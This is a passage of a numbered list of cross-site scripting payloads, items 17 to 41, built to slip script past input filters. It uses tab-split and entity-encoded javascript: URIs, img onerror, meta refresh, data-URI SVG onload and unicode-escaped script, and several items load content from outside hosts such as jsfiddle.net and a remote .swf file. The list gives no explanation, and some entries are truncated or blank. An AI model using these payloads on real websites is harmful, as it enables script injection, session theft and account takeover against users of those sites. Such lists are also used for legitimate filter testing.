17) http://www.alert(1)

18) ​

19) alert(1) <br /> <br />20) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> <br /> <br />21) <img src=`xx:xx`onerror=alert(1)> <br /> <br />22) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <br /> <br />23) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>​ <br /> <br />24) <math><a xlink:href="//jsfiddle.net/t846h/">click <br /> <br />25) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>​ <br /> <br />26) <svg contentScriptType=text/vbs><script>MsgBox+1 <br /> <br />27) <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a <br /> <br />28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <br /> <br />29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')
30)
31)
32)

33) +-+-1-+-+alert(1)

34)

35) /*<script* */alert(1)
36)
37) //&NewLine;confirm(1);

38) alert(1) <br /> <br />39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe <br /> <br />40) <script x> alert(1)
41)